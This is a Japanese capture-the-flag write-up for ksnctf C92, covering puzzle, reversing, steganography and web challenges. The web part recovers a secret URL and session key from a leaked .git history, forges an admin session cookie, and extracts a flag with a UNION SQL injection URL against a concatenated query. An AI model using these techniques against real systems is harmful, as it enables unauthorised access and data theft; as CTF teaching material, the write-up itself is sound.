Help us understand the problem. What is going on with this article?

ksnctf C92 Writeup

More than 3 years have passed since last update.

https://ksnctfc92.sweetduet.info/

91点で48位でした。表問の一部だけ解けました。
良問揃いで楽しかった。

GATE - ゲート (1pt)

例を参考にleet表記に変換。

FLAG{W31C0M3_70_K5NC7F_C92}

E1 - Mysterious Light (10pt)

一部が光で見えなくなってるQRコード。

4隅の「回」みたいなとこを修正すれば読み取れる。

FLAG{QyDYkTQNd1lb1IDH}

E2 - 砂漠の中の1本のフラグ (20pt)

x64dbgで実行。

まずはデバッガチェックを回避。
IsDebuggerPresentの呼び出し箇所をxor eax, eaxでパッチを当てる
(2カ所あるが、近くにDO NOT DEBUGとか書いてある方)

画面に座標が描画されているようなので、そのアドレスを特定したい。
描画ルーチンを探す。
外部関数呼び出しを検索 → "string"で絞り込むと下記が出る

アドレス=00007FF7953F1D9F
逆アセンブル=call qword ptr ds:[<&GdipDrawString>]
Destination=<gdiplus.GdipDrawString>

アドレス=00007FF7953F1DE6
逆アセンブル=call qword ptr ds:[<&GdipDrawString>]
Destination=<gdiplus.GdipDrawString>

近くを見ると文字列を生成してる

00007FF7953F1D01 | 4C 8B 0D 40 43 00 00     | mov r9,qword ptr ds:[7FF7953F6048]      |
00007FF7953F1D08 | 4C 8B 05 31 43 00 00     | mov r8,qword ptr ds:[7FF7953F6040]      |
00007FF7953F1D0F | 48 8D 15 A2 27 00 00     | lea rdx,qword ptr ds:[7FF7953F44B8]     | rdx:L"%I64u, %I64u", 7FF7953F44B8:L"%I64u, %I64u"
00007FF7953F1D16 | 48 8D 8D A0 04 00 00     | lea rcx,qword ptr ss:[rbp+4A0]          |
00007FF7953F1D1D | FF 15 D5 23 00 00        | call qword ptr ds:[<&wsprintfW>]        |

7FF7953F6040, 7FF7953F6048がキャラの座標のアドレス。

00007FF7953F6040  01 00 00 00 00 00 00 80 02 00 00 00 00 00 00 80  ................  

16819585654921967928, 9709471222094771744にフラグがあります とのことなので、
この値に書き換える。

これで指定の座標に移動でき、マップに並んだ岩でフラグが書かれている。

FLAG{9729512216727087}

E6 - flower

FLAG 1 (10pt)

StegSolveでBlue plane 1を見る。最下位ビットじゃないのがひとひねりか。

FLAG{ZPf1dTqXQcbD0ygl}

ついでにヒントももらえる。

Hint1: IDAT
Hint2: ↓↓↓↓↓↓↓↓↓↓↓

FLAG 2 (15pt)

わからなかった。他の方の解法を見ると画像サイズを縦に伸ばすらしい。基本を見落としてた…

FLAG 3 (15pt)

バイナリエディタで見ると、IDATが複数ある。しかもずいぶん細切れ。

適当なツールに入れてみると

TweakPNG

ん?この数値の並びはひょっとして…

arr = [ 70, 76, 65, 71, 123, 49, 106, 109, 109, 90, 83, 76, 52, 65, 55, 70, 83, 86, 121, 66, 122, 125 ]
puts arr.map{|e| e.chr}.join("")
FLAG{1jmmZSL4A7FSVyBz}

その発想はなかった。すごい。

W - Kaisendon

FLAG1 (10pt)

まずはトップページにアクセス。

ユーザー登録が必要です

現在はクローズドベータテスト中で、招待された方のみが登録できます

ふむ。ソースがついてるのでapp.jsを見る

app.get('*', (req, res, next) => {
  if (req.session.registered) {
    next();
  } else {
    res.render('notregistered');
  }
});

...

app.get('/', function(req, res, next) {
  db.all('select * from don order by id desc limit 16', (error, dons) => {
    res.render('index', {dons, flag: process.env.FLAG1});
  })
});

登録できればフラグが見れる。

app.get(config.registerURL, (req, res) => {
  res.render('register');
});

configの内容が知りたいけど、config.jsは.gitignoreされている。

ん?git?
.gitがあった。ログを見る。
oops... とか書いてある。config.jsを間違ってコミットしたかな?

Git初心者が絶対に覚えておくべきコマンド - idesaku blog

$ git reflog
95a0789 HEAD@{0}: commit (amend): Make register page URL configurable
c81ac0e HEAD@{1}: commit: Make register page URL configurable
...

$ git reset --hard HEAD@{1}
HEAD is now at c81ac0e Make register page URL configurable

$ cat config.js
module.exports = {
  registerURL: '/register_yejaoy4eh19gjqqv',
}

登録フォームが出る。適当に入力。

ベータテストへのご協力ありがとうございます。

本サービス開始時にこちらのクーポンをご利用ください。

FLAG{3snoa6p4wncj1hpf}

クーポンw

FLAG2 (12pt)

app.get('/admin', (req, res) => {
  if (req.session.admin) {
    res.render('admin', {flag: process.env.FLAG2});
  } else {
    res.render('notadmin');
  }
});

adminになれればいいらしい。

$ git reset --hard 216bd65
HEAD is now at 216bd65 Make admin page

 app.get('/', function(req, res, next) {
+  req.session.admin = true;
   db.all('select * from don order by id desc limit 16', (error, dons) => {
     res.render('index', {dons});
   })
 });

Cookieに上記を書き込めばよさそうだけど、暗号化されている。

app.use(cookieSession({
  name: 'session',
  keys: ['* secret keys *'],

  // Cookie Options
  maxAge: 24 * 60 * 60 * 1000 // 24 hours
}));
$ git fsck --lost-found
Checking object directories: 100% (256/256), done.
dangling commit 0cc9051bba168a471ea9072bf8aa181336a6755c
dangling commit 216bd6562b8b060e9c4288878795229dbab0907e
dangling commit a65874ee60d9a0805c8a25f20d6e6050e3f08148
dangling commit c81ac0e91b7d1d7b4cbcb3a5f0aea5c734b7cc89

なんかあった

$ git show a65874ee6
...
+app.use(cookieSession({
+  name: 'session',
+  keys: [/ secret keys */],
+
+  // Cookie Options
+  maxAge: 24 * 60 * 60 * 1000 // 24 hours
+}));

$ git show 0cc9051bb
...
-  keys: [/ secret keys */],
+  keys: ['* secret keys *'],

惜しい。他のコミットにも入ってない。
…と見せかけて、わざわざこういうコミットがあるということは、本番サイトもこれがそのままキーになっている?

ではローカルでアプリを立ち上げてadminになって、そのCookieを流用してみる。

Dockerfile
FROM node:8-onbuild

ENV FLAG1 FLAG{flag_1}
ENV FLAG2 FLAG{flag_2}
ENV FLAG3 FLAG{flag_3}

EXPOSE 3000
docker-compose.yml
web:
  build: .
  ports:
    - "3000:3000"
$ docker-compose build && docker-compose up

アクセスすると下記のCookieが作られるので、本番サイトのCookieをこれに書き換える。

session: eyJyZWdpc3RlcmVkIjp0cnVlLCJhZG1pbiI6dHJ1ZX0=
session.sig: I7H6xVW_ro_Cip-MJFxz7tSDABk

/admin にアクセス。

FLAG{vakdriti4zzlj55p}

FLAG3 (13pt)

var db = new sqlite3.Database(':memory:');
db.serialize(() => {
  db.run('create table don ('+
    'id integer primary key autoincrement,'+
    'text text(1024))');
  db.run('create table flag (flag text)');
  db.run('insert into flag values (?)', process.env.FLAG3);
});

app.get('/edit/:id', (req, res) => {
  if (req.session.admin) {
    db.get('select * from don where id='+req.params.id, (error, don) => {
      res.render('edit', {don});
    })
  } else {
    res.render('notadmin');
  }
});

なので、adminの状態でSQLインジェクション。

select * from don where id=<存在しないid> union select null, flag from flag

をすればいい。以下にアクセス。

/edit/9999%20union%20select%20null,%20flag%20from%20flag
FLAG{bpodf2es4k9e42rf}
nicklegr
自前のWikiも持っています。 関心分野が近いと思ってくれた方は、こちらもどうぞ。 https://wiki.airytail.co/
https://nickle.hatenablog.jp/
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away